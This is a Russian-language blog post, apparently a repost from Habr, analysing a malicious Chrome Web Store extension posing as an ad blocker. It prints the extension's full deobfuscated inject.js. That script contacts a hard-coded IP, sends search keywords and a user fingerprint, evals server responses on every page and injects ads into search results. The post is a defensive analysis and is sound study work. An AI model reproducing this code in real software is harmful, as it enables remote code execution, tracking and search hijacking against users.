Обзор вредоносного браузерного расширения

от автора

В статье приведен пример разбора вредоносного браузерного расширения из Chrome Web Store — «Убрать рекламу (HET Рекламе)».

Информация о расширении

Способ распростанения: Chrome Store
Название: «Убрать рекламу (HET Рекламе)»
ID: eaikmbeeklemcgemabilgpjkanodfmic
Дата последнего обновления (на момент написания статьи): 10 Апреля 2015
Версия расширения: 5.8
Количество пользователей в неделю: 57 000

Описание расширения:

Блокировщик рекламы: Блокирует назойливую рекламу ВКонтакте и Одноклассниках, Рекламу на YouTube, Баннеры, Всплывающие окна и др.
HET Рекламе для Google Chrome блокирует:

· Рекламу ВКонтакте и Одноклассниках
· Баннеры на всех сайтах
· Видео рекламу на Youtube
· Всплывающие окна на всех сайтах
· Любую отвлекающую и назойливую рекламу

Уникальный алгоритм самообучения!
Сделайте свой браузер машиной по переработке и устранению рекламы!

Введение

Причины опубликовать обзор именно этого расширения:
— во-первых, оно находится в Chrome Store и это является показателем того, что в магазине успешно существуют вредоносные расширения;
— во-вторых, расширение имеет не малую аудиторию, которая может даже и не знает, что у них стоит данное расширение;
— в-третьих, вредоносность данного расширения особо не прикрыта, и поэтому материал может быть доступен более широкой аудитрии.

Обзор расширения

Чтобы сделать обзор необходимо получить код расширения.
Для этого установим его из Chrome Store и найдем исходные файлы расширения в соответствующей папке браузера Chrome.

В моем случае, это папка:

 %appdata%\Google\Chrome\User Data\Default\Extensions\eaikmbeeklemcgemabilgpjkanodfmic 

Структура файлов в данной папке:

 | extension |- 16.png |- 48.png |- 128.png |- detector.js |- inject.js |- jquery-2.1.1.min.js |- manifest.json |- md5.js 

Замечание 1

Расширение подобного рода не может заниматься гениальной работой с DOM и не требует кроссбраузерность. Поэтому, в лучшем случае, из jquery может понадобится 5 функций, которые видимо сложно было написать, поэтому решили взять библиотеку.

Идем далее.

Всякое расширение для chromium-браузеров начинает свой путь с файла manifest.json.
Открываем его:

manifest.json

{    "content_scripts": [ {       "js": [ "md5.js", "detector.js", "jquery-2.1.1.min.js", "inject.js" ],       "matches": [ "http://*/*", "https://*/*" ],       "run_at": "document_start"    } ],    "description": "...",    "icons": {       "128": "128.png",       "16": "16.png",       "48": "48.png"    },    "manifest_version": 2,    "name": "Убрать рекламу (HET Рекламе)",    "update_url": "https://clients2.google.com/service/update2/crx",    "version": "5.8" } 

Замечание 2

Расширение внедряет все свои скрипты в каждую открытую вами страницу. Это плохо и с точки зрения безопастности, и с точки зрения производительности.

Итак, на каждой странице мы имеем следующие js-файлы:

 - md5.js - detector.js - jquery-2.1.1.min.js - inject.js 

На мой взгляд, самый подозрительный файл из названия — это inject.js. Поэтому начнем с него, а если понадобится то взглянем и на остальные.
Файл обфусцирован, если это можно так назвать. Приведу первые символы, а вы догадайтесь чем же он обфусцирован:

eval(function(p,a,c,k,e,d){... 

Те, кто встречался с обфускаей, разочаровано сейчас вздохнули «Как банально. Что-то типа этого». Мне обычно в такие моменты вспоминается следующая цитата из фильма Большой куш (Snatch):

— *****-колотить, держите меня крепче! Это что такое?
— Это мой ремень.
— Нет, Томми, у тебя пистолет в штанах. Что делает пистолет у тебя в штанах?
— Это для защиты.
— Для защиты от кого? От фашистов что ли? Ты не боишься отстрелить себе яйца, когда присядешь?

Разобфусцируем данный код с помощью прекрасного сервиса JSBeautifier. Имеем:

inject.js

(function () {     var host = 'http://5.61.39.110/';     var aid = '49207271-5844-11e4-a8cb-a0b3cce611e4';     var ttl = 350;     var MAX_TTL = 3600;      function getRandomInt(min, max) {         return Math.floor(Math.random() * (max - min + 1)) + min     }      function ss(str) {         return (str + '')             .replace(/\\(.?)/g, function (s, n1) {                 switch (n1) {                 case '\\':                     return '\\';                 case '0':                     return '\u0000';                 case '':                     return '';                 default:                     return n1                 }             })     }      function getKeyword() {         try {             var ses = [     [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2],     [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2],     [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2],     [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2],     [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2] ];              var q = null;             var ref = document.location.href;              for (var i = 0; i < ses.length; i++) {                 var se = ses[i];                 if (ref.match(se[0])) {                     q = ref.match(se[1])[se[2]];                     break                 }             }              return q         } catch (e) {             return         }     }      function getDomain(data) {         var a = document.createElement('a');         a.href = data;         return a.hostname     }      function url() {         return getDomain(document.location.href)     }      function strips(str) {         str = str.replace(/(?:\\[rn]|[\r\n]+)+/g, "");         str = str.replace(/\s+/g, "");         return str     }      function isHtml5StorageSupported() {         try {             return 'localStorage' in window && window['localStorage'] !== null         } catch (e) {             return false         }     }      function getCountry() {         if (isHtml5StorageSupported()) {             return localStorage.getItem('country')         } else {             return null         }     }      function getData() {         if (isHtml5StorageSupported()) {             return JSON.parse(localStorage.getItem('data'))         } else {             return null         }     }      function setData(value) {         if (isHtml5StorageSupported()) {             localStorage.setItem('data', value)         }     }      function getRequestInterval() {         var retVal = Math.round(new Date()             .getTime() / 1000 / 60);         if (isHtml5StorageSupported()) {             var value = localStorage.getItem('xdata_ttl');             if (value == null) {                 localStorage.setItem('xdata_ttl', retVal)             } else {                 retVal = value * 1             }         }         return retVal     }      function resetTTL() {         if (isHtml5StorageSupported()) {             localStorage.setItem('xttl', ttl)         }     }      function getTTL() {         var retVal = ttl;         if (isHtml5StorageSupported()) {             var value = localStorage.getItem('xttl');             if (value != null) {                 retVal = value * 1             } else {                 localStorage.setItem('xttl', retVal)             }         }         return retVal     }      function incrementTTL() {         var retVal = ttl;         if (isHtml5StorageSupported()) {             var value = localStorage.getItem('xttl');             if (value == null) {                 localStorage.setItem('xttl', retVal)             } else {                 value = value * 1;                 retVal = value + ttl;                 if (retVal >= MAX_TTL) {                     retVal = ttl                 }                 localStorage.setItem('xttl', retVal)             }         }         return retVal     }      function isUpdateTime() {         var currentTime = Math.round(new Date()             .getTime() / 1000 / 60);         var ttlOrigin = localStorage.getItem('xttl');         var ownTTL = getTTL();         var result = (currentTime - getRequestInterval() >= ownTTL);         if (result) {             localStorage.setItem('xdata_ttl', currentTime)         }         if (ttlOrigin == null) {             result = true         }         return result     }      function shuffle(o) {         for (var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x) {};         return o     };      function fisherYates(myArray) {         var i = myArray.length;         if (i == 0) return false;         while (--i) {             var j = Math.floor(Math.random() * (i + 1));             var tempi = myArray[i];             var tempj = myArray[j];             myArray[i] = tempj;             myArray[j] = tempi         }     }      function updateKeyword() {         return;         var key = getKeyword();         if (key == undefined || key.length == 0) {             return         }         $.get(host + 'get_content.php', {             'action': 'add_keyword',             'aid': aid,             'guid': guid,             'url': url(),             'key': getKeyword()         })     }      function injectArrayOfAds(advs) {         for (var idx in advs) {             var ad = advs[idx];             if (ad.need_send_view) {                 continue             }             var adShownAlready = false;             $(ad.html)                 .each(function () {                     var self = $(this);                     if (self.html()                         .indexOf(ad.adv_id) != -1) {                         adShownAlready = true;                         return false                     }                 });             if (adShownAlready) {                 continue             }             $(ad.html)                 .each(function () {                     var self = $(this);                     var aidElement = $('*[aid=\'' + aid + '\']');                     if (self.html()                         .indexOf(aid) == -1) {                         var clickRedirectionUri = host + 'get_content.php?action=click&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id + '&key=' + getKeyword();                         ad.aa_text = ad.aa_text.replace(/\{AID\}/g, "'aid'='" + aid + "'");                         ad.aa_text = ad.aa_text.replace(/\{REDIRECT_URL\}/g, 'aid=\'' + aid + '\' onClick="self.location=\'' + clickRedirectionUri + '\'; return false;"');                         ad.host = host + 'get_content.php?action=view&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id;                         if (ad.inject_mode == 1) {                             self.html(ad.aa_text);                             ad.need_send_view = true;                             return false                         } else if (ad.inject_mode == 2 && aidElement.length == 0) {                             self.before(ad.aa_text);                             ad.need_send_view = true;                             return false                         } else if (ad.inject_mode == 3 && aidElement.length == 0) {                             self.after(ad.aa_text);                             ad.need_send_view = true;                             return false                         }                     } else {}                 })         }         var notify = [];         for (var idx in advs) {             var ad = advs[idx];             if (ad.need_send_view) {                 notify.push(ad.adv_id)             }         }         if (notify.length != 0) {}     }      function ucfirst(string) {         return string.charAt(0)             .toUpperCase() + string.slice(1)     }      function checkLoadedPage(data) {         if (data == null || data.message != 'OK')             return;          var gKeywordFound = false;         var keyword = decodeURI(getKeyword());         keyword = keyword.replace(/\+/g, ' ');         keyword = keyword.toLowerCase();          var advs = [];          // пробежимся по всем ключам объекта response, полученного с веб-сервера         for (var key in data.response) {             // создадим для каждого jquery-элемент на основании того что получено с веб-сервера             var element = data.response[key];             var foundHtml = $(element.html);             if (foundHtml.length == 0) {                 continue             }              // если присланный данные не имеют свойства advs (рекламы другими словами)             if (element.advs == undefined) {                 data.response[key].advs = [];                  // делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна)                 $.ajax({                     url: host + 'get_content.php',                     type: "GET",                     data: {                         'action': 'get_adv_cached',                         'aid': aid,                         'guid': guid,                         'url': url(),                         'gender': '*',                         'ap_id': element.ap_id,                         'key': getKeyword(),                         'country': data.country                     },                     async: false,                     success: function (result) {                         try {                             // еще один eval ...                             var dd = eval('(' + result + ')');                             // сохраняем данные о рекламе в нашем объекте                             for (var rs in dd.response) {                                 data.response[key].advs.push(dd.response[rs])                             }                             // а ребята все-таки умеют пользоваться JSON.stringify                             setData(JSON.stringify(data))                         } catch (e) {                             console.log(e)                         }                     }                 })             } else {                 // Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы                 for (var adv in element.advs) {                     var ad = element.advs[adv];                     if (ad.ar_text == null) {                         advs.push(ad);                         continue                     }                     var splitted = ad.ar_text.split('\r\n');                     for (var idx in splitted) {                         if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) {                             continue                         }                         ad.aa_text = ad.aa_text.replace(/\{KEYWORD\}/g, keyword);                         ad.aa_text = ad.aa_text.replace(/\{KEYWORD_B\}/g, ucfirst(keyword));                         ad.aa_text = ad.aa_text.replace(/\{KEYWORD_CONTEXT\}/g, splitted[idx]);                         ad.aa_text = ad.aa_text.replace(/\{KEYWORD_CONTEXT_B\}/g, ucfirst(splitted[idx]));                         // Вставляем рекламу                         injectArrayOfAds([ad]);                         gKeywordFound = true;                         break                     }                 }             }         }          if (!gKeywordFound && advs.length != 0) {             injectArrayOfAds(advs)         }     }      guid = '';      try {         guid = pstfgrpnt_as_hash()     } catch (e) {         guid = 'chrome_u'     }      var isLoading = false;      var main = function () {         if (isUpdateTime()) {             console.log("CHECKING FOR UPDATE...");             isLoading = true;             $.get(host + 'get_content.php', {                     'action': 'get_places_cached',                     'aid': aid,                     'guid': guid,                     'gender': '*'                 }, function (result) {                     try {                         data = eval('(' + result + ')');                         if (data.message != 'OK') {                             return                         }                         setData(JSON.stringify(data));                         resetTTL();                         console.log("UPD SUCCESS")                     } catch (e) {                         console.log(e);                         return                     } finally {                         isLoading = false                     }                 })                 .error(function (jqXHR, textStatus, errorThrown) {                     incrementTTL();                     console.log('REQUEST FAILED, NEXT CHECK IN ' + getTTL())                 });             console.log("CHECKING FOR UPDATE DONE")         }     };      main();      var id = setInterval(function () {         main()     }, 100);      setInterval(function () {         var data = getData();          if (data == null) {             return         }          checkLoadedPage(data)     }, 100) })(); 

Читаем полученный код. Оставлю только интересные моменты:

// ниже данная функция вызывается var main = function () {     // нужно ли обновляться     if (isUpdateTime()) {         // ...         // полный url имеет вид http://5.61.39.110/get_content.php         $.get(host + 'get_content.php',              // ...              function (result) {                 try {                     data = eval('(' + result + ')');                     // ...                 } catch (e) {                     // ...                 }                 // ...             });             // ...     } };  main(); 

В данной функции идет получение данных с веб-сервера.

Замечание 3

А что происходит с ответом? А происходит следующее:

data = eval('(' + result + ')'); 

Т.е. на каждом сайте выполняется любой код, который прислал веб-сервер. Другими словами, этот код может увести куки, может отправить какую-то информацию о вас (пароли), может сделать все, что угодно на любой странице, которую вы посетили.

Вроде бы уже и этого достаточно, чтобы считать расширение вредоносным, но продолжим дальше. Вдруг у кого-нибудь возникнут мысли, что на самом деле разработчики честные и просто забыли про JSON.parse.

Идем далее.
Ниже вызова функции main() есть вызов функции checkLoadedPage().

функция checkLoadedPage() (+ комментариями)

// пробежимся по всем ключам объекта response, полученного с веб-сервера for (var key in data.response) {     // создадим для каждого jquery-элемент на основании того что получено с веб-сервера     var element = data.response[key];     var foundHtml = $(element.html);     if (foundHtml.length == 0) {         continue     }      // если присланный данные не имеют свойства advs (рекламы другими словами)     if (element.advs == undefined) {         data.response[key].advs = [];          // делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна)         $.ajax({             url: host + 'get_content.php',             type: "GET",             data: {                 // ...             },             async: false,             success: function (result) {                 try {                     // еще один eval ...                     var dd = eval('(' + result + ')');                     // сохраняем данные о рекламе в нашем объекте                     for (var rs in dd.response) {                         data.response[key].advs.push(dd.response[rs])                     }                     // а ребята все-таки умеют пользоваться JSON.stringify                     setData(JSON.stringify(data))                 } catch (e) {                     console.log(e)                 }             }         })     } else {         // Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы         for (var adv in element.advs) {             var ad = element.advs[adv];             if (ad.ar_text == null) {                 advs.push(ad);                 continue             }             var splitted = ad.ar_text.split('\r\n');             for (var idx in splitted) {                 if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) {                     continue                 }                 ad.aa_text = ad.aa_text.replace(/\{KEYWORD\}/g, keyword);                 // ...                 // Вставляем рекламу                 injectArrayOfAds([ad]);                 // ...                 break             }         }     } }  if (!gKeywordFound && advs.length != 0) {     injectArrayOfAds(advs) } 

Замечание 4

Данная функция меняет поисковую выдачу для следующих поисковых систем:

var ses = [     [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2],     [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2],     [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2],     [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2],     [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2],     [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2] ]; 

Собственно, по этой проблеме и поступили жалобы от пользователей.

Резюме по расширению

  • избыточный код (это ресурсы вашего компьютера);
  • весь код расширения запускается на каждой странице (это ресурсы вашего компьютера);
  • расширение выполняет любой код, присланный с веб-сервера (просто приведу набор словосочетаний — онлайн-банкинг, пароли, сообщения, анонимность);
  • расширение дополнительно вставляет свою поисковую выдачу.

P.S. Если кому-то покажется странным подход к обзору расширения «Причем тут jquery? Причем тут плохая структура кода?», сразу даю ответ: факт того, что расширение требует больше прав, чем нужно, вставляет код на страницы больше, чем нужно — является первым признаком вредоносного расширения.

ссылка на оригинал статьи http://habrahabr.ru/post/255801/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *